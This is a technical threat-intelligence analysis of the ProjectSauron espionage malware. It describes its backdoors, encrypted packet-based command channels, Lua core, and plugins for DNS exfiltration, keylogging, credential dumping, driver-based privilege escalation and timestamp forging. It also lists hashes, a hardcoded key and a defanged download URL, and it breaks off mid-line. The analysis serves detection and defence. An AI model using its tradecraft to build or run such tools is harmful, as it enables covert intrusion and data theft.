# The ProjectSauron APT Technical Analysis ## Pipe backdoor / RPC Helper **Samples:** | MD5 | Size | Format | Bits | Linker | Compilation timestamp | |---------------------------------------|-------|--------|------|--------|----------------------------| | 46a676ab7f179e511e30dd2dc41bd388 | 9728 | EXE | 32 | 11.0 | 2014.01.22 13:42:08 | | 9f81f59bc58452127884ce513865ed20 | 12800 | EXE | 64 | 11.0 | 2014.12.18 13:01:56 | | e710f28d59aa529d6792ca6ff0ca1b34 | 9728 | EXE | 32 | 11.0 | 2014.12.18 13:01:45 | This module is a tiny application that runs as a Windows service. It starts the service control dispatcher with the name ‘RPCHlpr’ and only continues to run if the process token contains a “S-1-5-6” (Service) SID. The module spawns one thread, creates a named pipe “\\.\pipe\rpchlp_0”, and waits for connections to that pipe. Once a connection occurs, it creates another thread to carry out communication. It receives an 8-byte RC4 key and body of a command to run. Next, it creates three pipes, “\\.\pipe\rpchlp_1”, “\\.\pipe\rpchlp_2”, and “\\.\pipe\rpchlp_3” for standard file handles (stdin, stdout, stderr) and waits for all these pipes to connect. Depending on the command received, it may either execute the shellcode or start a process with the given command line and redirects RC4-encrypted input/output from all the handles from/to the sender. ### Standard blob The shellcode blob is expected to start with a magic value “0xC102AA02” (DWORD). The blob format is as follows: - 00 DWORD magic “0xC102AA02” - 04 BYTE version 2 - 05 BYTE version minor – any - 06 DWORD offset of entrypoint - 0A DWORD blob size Executable blobs of the described format are used in many components of the malicious platform and are referred to as “standard blobs”. ## Passive sniffer backdoor **Format:** PE DLL 32/64 bit **File sizes:** 75 – 91 Kb Compilation timestamps, linker versions: multiple variants, but match those of the target OS files (usually “svchost.exe”). The module is known to be installed as either an LSA password manager library or as a Security Provider. The business logic is provided by one of the exported functions and is triggered when the corresponding system layer loads the library. When invoked, the module decrypts the first layer from the blob that contains actual code. The blob has the same format as the RPC Helper payload. Once the magic value and code boundaries are verified, the code invokes the shellcode from the blob. The shellcode removes subsequent layers of encryption and decompresses its payload using the Jcalg1 algorithm. The payload contains another layer of shellcode that loads, relocates, and invokes the PE binary inside. The configuration consists of 1-3 DLL files, the first one being the main module and 1-2 others as optional plugins. The main module starts by enumerating all available plugins and starting them by calling the function exported by the name “ainit”. Every plugin provides a pointer to its own function table to the calling core. The configuration provided by the “upper” layer of the shellcode also contains the names of the event and mutex objects that are created by the core – these are usually unique for each sample. Then, it locates its configuration data in the resource called “CONFIG” of type “RT_CONFIG”. The resource is encrypted using AES-CBC with a hardcoded key “EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492”. The key is not encrypted and can be located in the memory of the target processes while the module is running. The configuration is in readable text format. It is separated into sections that refer to different plugins by headers starting with ':'. Every option contains a prefix that specifies its format – S (string), B (boolean), 'I', 'D', 'N' (integer), 'E' (list). ``` :Core [S]Public Key="ul35zkT/MGP3poQe+enL0dZef5rkaQtaZ78rn2qCsJjB45TCsSG26Qhz9lTtucKGpAqxmB5ByUOMsENKQL1twZm8zuxxfOIViGnj a0Yr49v8SlS9vCD/wibjo/0ri4c9JH80h5z3EWfXKIAmdgKRuCQXgiORBz4TFx1C+MRt0bzOYsM+kzuRsvUhmKPkL6iVAwpic1LGMH5S kMeWmtHbWYpOL+3U70YeHgFCKjWuhy9Nmt36EWZLKzZitjvYFq8EJ3QfpoMB+oWa9OhOlde2+9zOeTYPwGUq9t/oQwlXXTnfA7 HkSVcvuoo+E//gzPJ/wT6Xq82IlsqB/IznIeaZaQ==" [S]Process List="svchost.exe:*netsvc*,spoolsv.exe:*" [B]Monitor Child Thread=false [B]Disable Master Execute=false :Raw [S]IP="0.0.0.0" [B]Any Dest=false :Icmp [S]IP="0.0.0.0" ``` Then the module reads the base64-encoded “Public Key” value from the config and sets it as RSA key. After that, the module creates a socket and starts a new thread to monitor routing and IP changes. Finally, it starts every plugin, providing a pointer to its own function table. Once a network packet is received by a plugin, it pushes the packet to the core and tries to decrypt the packet header with RC5 using the public key. If the first DWORD matches 0x11111111, it decrypts the rest of the packet, verifies the CRC32, and appends it to the queue. The packet is expected to be a command, either providing the core plugin with the address of the C&C server to connect to, the local port number to listen to, or the path to the additional local module to load and start. Depending on the command received in a packet, the module can: - Execute an arbitrary binary from disk - Load and start an encrypted plugin from disk - Spawn a network connection object The plugin on disk is encrypted with RC6 with a 64-bit key that is provided by the C&C server. The decrypted and decompressed blob is expected either to be a valid PE file or a standard blob. ### Plugin: “Raw” **MD5:** many, irrelevant **Size:** 25 Kb **Format:** PE32/64 DLL The packet handler processes IP packets of protocols: ICMP, IGMP, UDP, TCP. The plugin extracts the contents from the incoming packets according to the corresponding protocol specification. For ICMP packets, it only passes those of type 8 (echo request). No additional checks are performed, and since the payload is encrypted with an arbitrary key using RC5, it can only be filtered out by high entropy values in the payload. ### Plugin: “Icmp” **MD5:** many, irrelevant **Size:** 11 Kb **Format:** PE32/64 DLL The plugin processes incoming ICMP packets using a raw socket object. The module verifies that the packet type is either 0 (echo reply) or 8 (echo request). If the ICMP type matches, it skips the ICMP header and passes the rest of the packet to the core. ### Plugin: “Pcap” **MD5:** many, irrelevant **Size:** 24 Kb **Format:** PE32/64 DLL The plugin tries to open the \Device\NdisRaw device. If failed, it enumerates all loaded drivers using undocumented parameter 11 of NtQuerySystemInformation and checks if “nps.sys” (network packet filter) is loaded. After this, it resolves the API of “packet.dll”. Another mode of operation is to start the “NPF” service and work via NdisRaw device. In that case, it provides wrappers to emulate the API of “packet.dll”. The plugin expects to receive IPv4 packets of no more than 1514 bytes. The only difference from “Raw” in further processing is that it supports only ICMP echo request, UDP, and TCP packets. There are monolithic versions of the passive backdoor that contain all the “plugins” inside the main binary (e.g., c3f8f39009c583e2ea0abe2710316d2a). These versions contain more plugins, descriptions follow. ### Plugins: “PcapUdp”, “PcapTcp” The “PcapUdp” plugin captures all incoming raw packets and looks only for UDP ones that contain data after the UDP header. All such packets are accepted, decrypted, and validated for the magic value. It uses the same API as the “pcap” plugin. The “PcapTcp” is similar; it waits for incoming TCP packets and inspects data that follows the TCP header. The packet is expected to be of size between 0x76 and 0x1A5 bytes and should not be be a broadcast packet. ### Plugin: “Dns” This plugin acts according to a predefined schedule. The “Poll Times” parameter specifies the specific time when the plugin should try to connect to its C&C server. Format: “day_of_month/hour:minute,...”. There can be up to 31 such entries. If the current time matches one from the “Poll Times” list or “Poll on Start” was set to “true”, it resolves the hostname specified by the “Start Marker” value. Then it only continues if the name was resolved and the returned IP address is equal to the one specified in the “Start Marker” second part. It forms the full DNS name to resolve by replacing the “%d” mark in the “Address Format” with “1” and then “2” etc until the total packet size is less than 0x11B bytes. The sum of received data is expected to be equal to or more than 0x40 bytes. ### Plugin: “Pipe” The plugin looks for the option “Pipe Name” in the Core configuration, which is used as “\\.\pipe\%value%” for creating a pipe object. Then it waits for incoming connections to the named pipe, reads packets of size 287 bytes, and processes them as any other packet obtained by plugins. ### Plugin: “Http” This plugin acts according to a predefined schedule. The “Poll Times” parameter specifies the specific time when the plugin should try to connect to its C&C server, up to 31 such entries. It uses the default system User-Agent string or a default fallback value: “Mozilla/4.0 (compatible; MSIE 6.0; Win32)”. It also sends the following HTTP additional headers: - Accept: text/html,text/plain,*/* - Accept-Language: en-us - Accept-Charset: ISO-8859-1,* - Keep-Alive: 300 - Connection: Keep-Alive - Cache-Control: No-Cache If proxy parameters are set, it uses them for sending the request. Sends an HTTP GET request to a given URL using Wininet API. The payload is extracted from the response using the “Start Mark” and “End Mark” strings, and then Base64-decoded. ## Generic pipe backdoors A set of executables that are usually delivered over the local network using legitimate remote administration tools from other compromised computers. **Samples:** | MD5 | Size | Format | Bits | Linker | Compilation timestamp | |---------------------------------------|-------|--------|------|--------|----------------------------| | 181c84e45abf1b03af0322f571848c2d | 5632 | EXE | 32 | 11.0 | 2014.06.19 14:52:07 | | 2e460fd574e4e4cce518f9bc8fc25547 | 5120 | EXE | 32 | 12.0 | 2010.09.08 12:53:30 | | 1f6ba85c62d30a69208fe9fb69d601fa | 5632 | EXE | 32 | 11.0 | 2014.02.17 13:57:32 | Each sample is tailored for a particular network and is usually irrelevant for other victims. They are regular Windows executables. When started without parameters, the module copies itself to the %TEMP% directory and schedules the execution of its copy with parameter “-q” by creating a new scheduler task. When run with one parameter, the module proceeds with its actions. It sets up a hardcoded 64-byte RC4 key, connects to a remote peer using a hardcoded IP address (local or external), and hardcoded port (different for each sample). Then it sends an encrypted packet of 0x10 bytes starting with magic numbers and expects to receive a payload in a specific format, starting with magic numbers as well. If the payload is successfully received from the server, it is called by the provided entry point offset. ## Null session pipes backdoor **Samples:** | MD5 | Size | Format | Bits | Linker | Compilation timestamp | |---------------------------------------|-------|--------|------|--------|----------------------------| | F3B9C454B799E2FE6F09B6170C81FF5C | 34304 | DLL | 64 | 9.0 | 2013.01.04 05:33:21 | | 0C12E834187203FBB87D0286DE903DAB | 26624 | EXE | 32 | 11.0 | 2015.02.24 09:46:02 | | 72B03ABB87F25E4D5A5C0E31877A3077 | 26624 | EXE | 32 | 11.0 | 2015.02.24 09:46:02 | | 76DB7E3AF9BE2DFAA491EC1142599075 | 27648 | EXE | 32 | 11.0 | 2015.08.25 10:20:40 | | 5D41719EB355FDF06277140DA14AF03E | 34816 | DLL | 64 | 9.0 | 2015.10.01 18:04:26 | | A277F018C2BB7C0051E15A00E214BBF2 | 34816 | DLL | 64 | 12.0 | 2015.12.14 15:06:11 | The DLL may be a Security Provider, Print Provider, or an EXE file. The package is wrapped in a PE module that activates the standard blob. It usually contains the binary and the configuration file. The configuration file contains: the pipe name, the 2048-bit RSA public key, and exponent. The module creates a named pipe using a name provided in the config: [HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] NullSessionPipes. If the values do not contain the name of the pipe provided in the config, it appends it to the list and updates the registry value. Then it creates the pipe \\.\PIPE\%pipe_name% and waits for incoming connections on the pipe. Once an incoming connection is accepted, it performs a key exchange based on the RSA key provided by the configuration, using two hardcoded 16-byte “magic” strings as challenge-response markers. After the handshake succeeds, it uses two 128-bit session keys for encrypting further communication with AES. After that, the module expects to receive the encrypted commands from the pipe: 1. Read arbitrary file's contents and optionally delete it after 2. Write arbitrary file 3. Enumerate files in a directory 4. Delete a file 5. Launch a standard 0xC102AA02 blob provided by the server 6. None 7. Bind on socket and wait for incoming connection or connect to a remote host 8. Bind or connect and execute the succeeding shellcode passing the socket handle to it 9. Identify if the machine is 64-bit or not ## Pipe and internet backdoor **Samples:** | MD5 | Size | Format | Bits | Linker | Compilation timestamp | |---------------------------------------|--------|--------|------|--------|----------------------------| | 0C4A971E028DC2AE91789E08B424A265 | 157696 | DLL | 64 | 9.0 | 2009.07.13 23:31:13 | | 44C2FA487A1C01F7839B4898CC54495E | 152576 | DLL | 64 | 9.0 | 2009.07.13 23:31:13 | | F01DC49FCE3A2FF22B18457B1BF098F8 | 155648 | DLL | 64 | 9.0 | 2009.07.13 23:31:13 | | F59813AC7E30A1B0630621E865E3538C | 145408 | DLL | 64 | 9.0 | 2009.07.13 23:31:13 | | CA05D537B46D87EA700860573DD8A093 | 95232 | DLL | 32 | 9.0 | 2009.07.14 01:03:45 | | 01AC1CD4064B44CDFA24BF4EB40290E7 | 115200 | DLL | 64 | 9.0 | 2009.07.14 01:24:44 | | 1511F3C455128042F1F6DB0C3D13F1AB | 115200 | DLL | 64 | 9.0 | 2009.07.14 01:24:44 | | 57C48B6F6CF410002503A670F1337A4B | 115200 | DLL | 64 | 9.0 | 2009.07.14 01:24:44 | | EDB9E045B8DC7BB0B549BDF28E55F3B5 | 105984 | DLL | 64 | 9.0 | 2009.07.14 01:24:44 | The DLL libraries are installed as Security Providers. This module employs a different kind of encryption by using a custom virtual machine for decrypting its payload. The final artifact of decryption is a standard blob that is then started as usual. The configuration data in the shellcode is also stored in a unique format of several encrypted records. The blob contains the actual Trojan component. The configuration blob consists of two records: the first one is the actual config data including the C2 URL, and the second is another standard blob that has a special deinstallation library and its own configuration data inside. The configuration contains the following data: - 0x101 RSA key - 0x102 Exponent - 0x301 Format string for a file name. Its default value is "C:\System Volume Information\%VID%", where the "%VID%" part is then replaced by a GUID-like representation of the parts of the RSA key. - 0x8280 – 0x9000 C&C URL configuration (step 0x100) The module collects basic information about the system and sends HTTP POST requests to one of the C&C servers specified in the configuration blob. The encrypted response from the server should contain a valid PE DLL file that has an exported function called “init”. Once such a response is received, the module calls the exported function. The deinstallation DLL is accompanied by its own configuration file listing the files to be deleted: - 0x101, 0x102 Names of event objects to wait for - 0x103 Guid-like filename (see 0x301 in the previous description) to be deleted - 0x201+ Locations of files to delete ## Core platform (LUA VFS) **Samples:** | MD5 | Size | Format | Bits | Linker | Compilation timestamp | |---------------------------------------|--------|--------|------|--------|----------------------------| | 71EB97FF9BF70EA8BB1157D54608F8BB | 175616 | DLL | 32 | 7.10 | 2001.10.19 20:04:36 | | 2F49544325E80437B709C3F10E01CB2D | 176128 | DLL | 32 | 7.10 | 2004.08.04 06:05:55 | | 7261230A43A40BB29227A169C2C8E1BE | 193536 | DLL | 32 | 9.0 | 2008.04.14 02:12:46 | | FC77B80755F7189DEE1BD74760E62A72 | 722944 | DLL | 32 | 7.10 | 2008.04.14 16:09:56 | | A5588746A057F4B990E215B415D2D441 | 170496 | DLL | 32 | 7.10 | 2009.06.25 08:27:19 | | 0209541DEAD744715E359B6C6CB069A2 | 429056 | DLL | 64 | 9.0 | 2009.07.13 23:37:02 | | FCA102A0B39E2E3EDDD0FE0A42807417 | 460288 | DLL | 64 | 11.0 | 2009.07.14 01:25:06 | | 5373C62D99AFF7135A26B2D38870D277 | 175616 | DLL | 32 | 7.10 | 2010.09.01 19:47:41 | | 91BB599CBBA4FB1F72E30C09823E35F7 | 175616 | DLL | 32 | 7.10 | 2010.09.18 06:53:38 | | 914C669DBAAA27041A0BE44F88D9A6BD | 722432 | DLL | 32 | 9.0 | 2010.11.20 12:06:05 | | C58A90ACCC1200A7F1E98F7F7AA1B1AE | 983025 | DLL | 64 | 9.0 | 2010.11.20 13:13:26 | | 63780A1690B922045625EAD794696482 | 417792 | DLL | 32 | 8.0 | 2011.05.11 21:28:20 | | 8D02E1EB86B7D1280446628F039C1964 | 719872 | DLL | 32 | 9.0 | 2012.04.23 14:38:16 | | 6CA97B89AF29D7EFF94A3A60FA7EFE0A | 135170 | EXE | 32 | 9.0 | 2012.08.10 12:10:28 | | 93C9C50AC339219EE442EC53D31C11A2 | 135610 | EXE | 32 | 9.0 | 2012.08.10 12:10:28 | | F7434B5C52426041CC87AA7045F04EC7 | 607232 | DLL | 64 | 8.0 | 2012.08.31 07:03:11 | | F936B1C068749FE37ED4A92C9B4CFAB6 | 371712 | DLL | 32 | 9.0 | 2012.10.04 16:45:50 | | 2054D07AE841FCFF6158C7CCF5F14BF2 | 379392 | DLL | 32 | 9.0 | 2013.10.13 07:12:17 | | 6CD8311D11DC973E970237E10ED04AD7 | 388608 | DLL | 32 | 11.0 | 2014.03.04 09:16:37 | The platform core module is usually wrapped in an encrypted container like the one used for the passive backdoor module. The DLL versions provide a similar interface mimicking an LSA password filter or as a Security Provider. It decrypts the standard blob that consists of two parts: the orchestrator binary and the configuration blob. The configuration blob is a virtual filesystem that contains all binary plugins required for executing a particular task. It may include other standard blobs containing other execution scripts. The last item of the VFS is always a precompiled Lua script that instructs the core what to do. The VFS is encrypted with RC4 or Salsa20 (depending on the version of the platform) and compressed with Zlib. The orchestrator executes the Lua script using embedded runtime and provides basic functions to the script. The original Lua interpreter was modified: the version embedded in the platform uses Unicode (UTF-16) encoding for storing string values and variable names. The execution flow is controlled by the script. External plugins are DLL libraries, they are referenced by name. The provided interface emulates console applications: they have emulated stdin/stdout/stderr, the input data is provided as command-line parameters and input streams. Output can be chained by a standard shell operator “|” to be fed into another program. Overall flow looks like a shell script. The “exec” and “exec2str” commands support basic redirection operators (“>”, “>>”, “<”, “|”). ### Modules provided by the Lua runtime: - table - io - os - string - path - w All the modules except “w” are standard for LUA. The module “w” is custom, it implements the following specific commands: - args: Get the arguments - cd: Change current directory - create_log: Initialize a new encrypted log object (on disk or in memory) - debugf: Call OutputDebugStringW() - drop_token: Close handle to some object - exec: Execute a plugin, results are stored in the log - exec2str: Execute a plugin, return the result as string - exit: Stop execution - frontend: Return the value of an internal variable - get_id: Return the value of an internal variable - get_mem_log: Get the contents of the current in-memory log storage - get_log_info: Get the status of the current log storage - get_proc_bits: Return hardcoded value (32, 64) - get_windows_bits: Return whether OS is 32-bit or 64-bit - load_state: Load execution state from a file or from the registry - messagebox: Show a standard message box - printf: Write to the emulated stdout stream - pwd: Return the current working directory - randgen: Return a buffer full of random data - randstr: Return a random alphanumeric string - randrange: Return a random value that is bound by a given range - save_state: Save execution state in a file or from the registry - shutdown_detected: Return 1 if the OS is shutting down - set: Set internal parameter's value by name - sleep: Delay - start_log: Attach to the encrypted log storage - stop_log: Detach from the current encrypted log storage ## Plugins The rest of the functionality is provided by the plugins. Most of the plugins contain a full description of their purpose and available command line keys that can be printed if no parameters were specified, or if requested by using a “/?”, “-?”, “/h” command line parameter. These descriptions (if present) are presented as-is. ### VFS name: arpping **Description:** ARP scanner ``` -r: Resolve hosts that answer. -l: Print only replying IPs. -m: Do not display MAC addresses. ``` ### VFS name: attrib **Description:** Displays or changes file attributes ``` ATTRIB [/S][+R | -R] [+A | -A ] [+S | -S] [+H | -H] [drive:][path] + Sets an attribute. - Clears an attribute. R Read-only file attribute. A Archive file attribute. S System file attribute. H Hidden file attribute. [drive:][path]<filename>: Specifies a file or files for attrib to process. /S: Processes matching files in the current folder and all subfolders. ``` ### VFS name: basex **Description:** Base 64/32/16 en/de-coder ``` [-b <base>] [-d [-f]] [-h] Options: -b base 64, 64url, 32, 32url or 16. Default is 64 -d: Decode data. Default is to encode -f: Force decoding when input is invalid/corrupt -h: This cruft Uses standard in/out. See man page for examples. ``` ### VFS name: blob **Description:** Additional blob that should be decoded and loaded, usually contains another copy of the orchestrator and its own VFS. ### VFS name: cat **Description:** Displays the contents of file(s) ``` cat [options] {file(s) | - | @- Options: -b <lines>: Display only the first <lines> lines (head). Can not be used with -t option. -t <lines>: Display only the last <lines> lines (tail). Can not be used with -b option. -e: Display $ at end of each line. -n: Number all output lines. -N: Print a header containing the file name. -F: Print full path in header. -s: Never more than one single blank line. -f: Follow output. With no FILE, or when FILE is -, read standard input. If the - is prepended with a @, stdin is a list of files. ``` ### VFS name: copy **Description:** Copy files or directories on disk. ### VFS name: del **Description:** Delete files or directories. ### VFS name: detach **Description:** Run blobs in the background ``` Usage: list: Show running blobs start <file> [[pid/name] ["args"]]: Start running a blob stop <id>: Stop a running blob wait <id> <timeout>: Wait for a blob to finish ``` ### VFS name: dext **Description:** DNS Exfil Tool ``` [options] suffix Options: -a: Assemble rows of DNS names back to a single string of data -f: Force - removes checks of DNS names and lengths (during split) -l length: Specify length of data part of suffix (default and max is %d) -r: Randomize data lengths (length/2 to length) -h: This cruft Suffix format: domain.com See man page for examples. Takes the input string on the stdin stream and generates a sequence of subdomain names to be resolved for actual exfiltration. The list is written to the stdout stream. The DNS resolution is expected to be performed by another tool. ``` ### VFS name: dinst **Description:** Display installed applications ``` Options: -v: Display additional information. -p: Display product patches. ``` ### VFS name: dir **Description:** Displays files and subdirectories ``` dir [options] [drive:][path][filename]... Options: -A[-]x: Displays files with specified attributes. attribs: D Directories, R Read-only files, H Hidden files, A Files ready for archiving, S System files, P Reparse points, E Encrypted files, - Prefix meaning not -B: Uses bare format (no heading information or summary). -E: Checks that specified paths exist (disables pattern matching). -F: Force display of full path. -C: Do not display the thousand separator in file sizes. -O[-]x: List by files in sorted order. orders: N By name (alphabetic), S By size (smallest first), E By extension (alphabetic), D By date/time (oldest first), G Group directories first, - Prefix to reverse order -S: Recursive directory listing. -Tx: Controls which time field displayed or used for sorting. fields: C Creation, A Last Accessed, M Last Modified. ``` ### VFS name: droop **Description:** Additional blob containing one DLL file – downloader When activated, the library downloads a file using a hardcoded URL “hXXp://178.211.40.117/favicon.ico”. The file is then decrypted with RSA using a 2048-bit key. If the decrypted blob matches the format of a standard blob, it is then executed. ### VFS name: emaild **Description:** Dump stored email accounts The plugin displays settings for applications that use Microsoft Internet Account Manager. This includes Outlook and Outlook Express, but also an unknown number of third-party applications. ### VFS name: ftime **Description:** Display or copy file time ``` [-E] [-c file] file Options: -E: Exclude the PE header time stamp. -c: Copy file time from the specified file to the target. This plugin is used to tailor each installed executable file to the environment, modifying the filesystem and PE format timestamps to be equal to the corresponding values of legitimate files, i.e. “ntdll.dll” or “svchost.exe”. This prevents fast discovery of malicious files during forensic analysis. ``` ### VFS name: get2 **Description:** Get files using file API ``` Usage: [options] <files..> Options: -r: Recurse subdirectories -a: Abort on failure (file not found, etc) ``` ### VFS name: grep **Description:** Search for pattern in files ``` [options] <regexp> [file | @file] Indata types: -U: Indata is UNICODE (default is auto-detect) -u: Indata is ASCII -b: Indata is binary Regexp interpretation: -i: Ignore case distinctions Miscellaneous: -s: Suppress error messages -v: Select non-matching lines -I: Ignore binary files Output control: -N <NUM>: Read only NUM lines in each file -m <NUM>: Stop after NUM matches -n: Print line number with output lines -h: Suppress the prefixing filename on output -L: Only print FILE names containing no match -l: Only print FILE names containing matches -c: Only print a count of matching lines per FILE -p: Only print the match (or submatch if used) of matching lines Context control: -B <NUM>: Print NUM lines of leading context -A <NUM>: Print NUM lines of trailing context -C <NUM>: Print NUM lines of output context With no FILE, or when FILE is -, read standard input. When FILE is @[file], read file NAMES from [file]. When FILE is @-, read file NAMES from standard input. ``` ### VFS name: ilpsend **Description:** Two-way C&C communication transport. ### VFS name: injchk **Description:** Check for injection detecting ``` Options: -v: Enable verbose output This plugin detects active drivers of many security products. Contains string “i bootleg” as part of the version string. Uses a local privilege escalation exploit. (“kern read”) ``` ### VFS name: inject **Description:** Inject a plugin into another process. ### VFS name: kb64, kblog.blob, kblog.blob64, kblogblob **Description:** Blob-wrapped package of the “kblog” plugin. ### VFS name: kblog **Description:** Keylogger. ### VFS name: kblogi **Description:** Keylogger ``` Options: -p proc: Inject using process name or pid. Default "explorer.exe". -c file: Convert mode: Read log from file and convert to text. -t sec: Maximum running time in seconds -v: Verbose mode -?: Displays this usage information. ``` ### VFS name: key **Description:** RSA-2048 key used by the plugin “npexfil”. ### VFS name: kgate, xkgate **Description:** Drops and executes vulnerable Outpost Sandbox driver (32 bit, v. 02.02.0597 from 2008) or avast! Virtualization driver (64 bit, v. 9.0.2006.159) to gain kernel mode execution and load own driver (knatt). ### VFS name: knatt.sys **Description:** Network packet filtering and modification driver. ### VFS name: lsadump **Description:** Dump LSA secrets. ### VFS name: mkdir **Description:** Create a directory on disk. ### VFS name: move **Description:** Renames a file or directory. ``` move [options] [drive:][path]<source name> [drive:][path]<destination name> Options: -O: Overwrite existing file (not directory). Note! When source and destination are on different drives, move may fail. In such cases use copy and del. ``` ### VFS name: mytrampoline.blob **Description:** Shadow filesystem exfiltration tool. ### VFS name: netnfo **Description:** Dump network information. ``` Options: -i: Dump interface information. -r: Dump routing table. -a: Dump ARP cache. -c: Dump active network connections. -n: Dump DNS cache. -A: Dump all information. ``` ### VFS name: netx **Description:** Displays open ports. ``` [-u] [-t] [-f] Options: -u: Display open UDP ports. -t: Display open TCP ports. -f: Display full path to application (default: only show filename) -I: Ignore rootkit alert. Default is both TCP and UDP ports. ``` ### VFS name: npbd64 **Description:** Blob containing a “NullSessionPipes backdoor” and its configuration. ### VFS name: npclient2, npexfil **Description:** Tool for exfiltrating data to a remote server. ### VFS name: nslu **Description:** Mini DNS name/address lookup. ``` [options] <address/name> ... Options: -s <name>: Send the query to the given server. -t <type>: Query type (default is to detect, either A or PTR). -T: List supported query type. -c: Force use of TCP for the query. -r: Disallow recursive queries. -n: Disallow use of NetBT for resolution. -l: Use local cache only. -b: Bypass any locally cached names. Use - instead of <address/name> to read addresses/names from stdin. This plugin may be chained with the “dext” plugin to implement a DNS exfiltration channel. ``` ### VFS name: onpusher.blob **Description:** “Online Push v2” Blob containing the plugin “npclient2”, controlling script, and other dependencies for data exfiltration. The script looks for the data collected with the “mytrampoline” plugin from the shadow filesystem and pushes it to a remote storage (“vault”). ### VFS name: ping **Description:** Ping or traceroute a remote host. ``` [options] <hosts..> Options: -r: Set mode to Traceroute (default: ICMP ping) -a: Resolve addresses to hostnames -d delay: Delay in milliseconds between pings (default: 1000 ms) -w timeout: Timeout in milliseconds for each reply (default: 4000 ms) -f: Set don't fragment flag (to check MTU) -i ttl: Specify Time To Live value (default: 128) -l size: Send buffer size (default: 32 bytes) -n count: Number of echo requests to send (default: 1) -t: Ping the specified host until stopped -u: Only show IP-number of hosts that reply -s: Only show IP-number of hosts that do not reply ``` ### VFS name: pkill **Description:** Terminate process(es). ``` pkill pkill [-a] <pid|name> ``` ### VFS name: plist **Description:** Print process list. ``` plist plist [mode] [options] Modes: (default is to show "visible" processes) -p {pid}: Find process using PID -x: Search for hidden processes -s {sid}: Filter process using Session ID Options: -a: All details -b: Use bare format (less formatting/spaces) -l: All details except modules list -n {string}: Search substring in process name and command-line -f {string}: Search substring in process filename (full-path) -S: Show Session ID column ``` ### VFS name: pstoredi **Description:** Dump protected storage. ``` [options] ``` ### VFS name: sc **Description:** Service controller. ``` [-s server] <command> [command specific args] Global options: -s: Specify server name (default localhost) Commands: list: List services. query: Dump information about a service. start: Start a service. stop: Stop a service. pause: Pause a service. continue: Make a paused service resume execution. create: Create a new service. config: Change configuration for a service. delete: Delete a service. desc: Change the description of a service. To get help for a specific command use: %s {command} -h ``` ### VFS name: sinfo **Description:** System information. ``` sinfo Usage: sinfo [-a] -a: Show volume information for all drives (removable, network etc). Warning, use this option with care since it causes cdrom-spinup, little network traffic, and floppy-noise. ``` ### VFS name: skip **Description:** Filter the input lines from stdout and print only those that contain (or do not contain, depending on the command line switches) the particular substring. ### VFS name: sl **Description:** Port scanner with TCP/UDP/ICMP support. ``` sl [-?bhijnMpPrTUvVz] [-cdDgmq <n>] IP[,IP-IP] (use a single '-' character to read IPs from stdin) -? - Shows this help text -b - Get port banners -c - Timeout for TCP and UDP attempts (ms). Default is 4000 -d - Delay between host scans (ms). Default is 0 -D - Delay between port scans (ms). Default is 0 -g - Bind to given local port -h - Hide results for systems with no open ports -i - Just list responding hosts (IP addresses only) -j - Don't output "-----..." separator between IPs -m - Bind to given local interface IP -M - When pinging, use Windows builtin lib (icmp.dll) (default on Vista) -n - No port scanning - only pinging -p - Do not ping hosts before scanning -P - Print partial results -q - Timeout for pings (ms). Default is 2000 -r - Resolve IP addresses to hostnames -t - TCP port(s) to scan (a comma-separated list of ports/ranges) -T - Use internal list of TCP ports -u - UDP port(s) to scan (a comma-separated list of ports/ranges) -U - Use internal list of UDP ports -v - Verbose mode -V - Very Verbose mode -z - Randomize IP and port scan order -Z - Randomize source port instead of letting the OS select it. The randomization range is set to 2k -> 32k Example 1: sl -Vbht 80,100-200,443 10.0.0.1-200 Scan TCP ports 80, 100, 101...200 and 443 on all IP addresses from 10.0.0.1 to 10.0.1.200 inclusive, grabbing banners from those ports and hiding hosts that had no open ports. ``` ### VFS name: smtpsend **Description:** SMTP client. ``` [-v] [-p <port>] [-w <timeout>] [-f <nbr>] [-H <host>] [-A <header>] <server> <from> <to> [<body>] Options: -v: Enable verbose output. Use multiple times for even more verbose output. -p: Connect to server on <port>. Default port is 25. -w: Number of ms to wait before aborting if server doesn't respond. Default: 10 minutes. -f: Try to send HELO:s multiple times, if the server rejects the previous HELO:s. Default is to fail if the first is rejected. -H: Claim to be the host <host> in the HELO handshake. Default: localhost. -A: Append <header> as a header-row in the mail. Use multiple times if needed. <server>: The dns-name or ip-address of the smtp-server. <from>: The sender's e-mail address. <to>: The recipient's e-mail address. <body>: The file containing the actual e-mail. This file is read using the file-api. No processing is done on the data, so please make sure the line endings are the proper CRLF etc. If this argument is omitted, the e-mail is read from stdin. In this case, the body is assumed to be utf-16 and is converted to utf-8. ``` ### VFS name: su **Description:** Change user context. ``` Options: [-u user] [-p password] [-x hash] [-i] [-t process] -t: Take user context from process (name or pid) -i: Specify interactive logon (default network) -x: Specify hash for logon (NT-hash of password) -p: Specify password for logon -u: Specify user name for logon ``` ### VFS name: sudetach **Description:** Elevate privileges to a system account and inject a blob in a running system process. ### VFS name: sux **Description:** Elevate privileges to execute in the SYSTEM context. ### VFS name: symnet32 **Description:** Pre-packaged core platform with a script ready for installation in a target system. ### VFS name: uname **Description:** Get OS version information, computer name, processor architecture, machine role, and OS edition (domain controller, workstation, compute cluster, datacenter, terminal server, storage server, small business, home server, etc.). ### VFS name: uninstdll **Description:** Pre-packaged core platform with a script tasked for removing all the traces of the malicious components in the system. ### VFS name: users **Description:** Dump user list. ``` [options] Options: -f <pattern>: Display only users where the name matches <pattern>. -s <server>: Display users on <server>. Default is localhost. ``` ### VFS name: w3get **Description:** Download and upload files using HTTP(S). ``` [options] URL Options: -v: Be verbose. -s: Print downloaded data to stdout. Can be used in combination with -f, to save a copy as well. If this flag is used, everything else is sent to stderr. -f <file>: Specify local file. -r <file>: Specify file to post to server. -c <chunk size>: Post argument to server. -C: Allow w3get to send and receive cookies. (Default disable) -R: Allow w3get to follow http redirections. (Default disable) -o: Overwrite existing file. -k <key>=<value>: Specify a key=value pair to post to server. -p <argument>: Post argument to server. -d: Direct connection to server, ignores proxy settings. -g <ip:port>: Use this proxy instead of user's proxy settings. ``` ### VFS name: wdogi **Description:** Basic backdoor. ``` <options> [hostname port] Options: -l: listen mode (default connect mode) -p <port>: local source port for listen/connect -s <ip>: local source IP for listen/connect -d <delay>: delay a number of seconds before starting -I <process>: run injected in process (pid or name) -x <handle>: use socket identified by handle -y <process>: process to use socket from (default own) -f: force injection even if protection detected -u: port reuse: allow listen on a busy port -a <ip>: accept connections from IP address only -A <port>: accept connections from 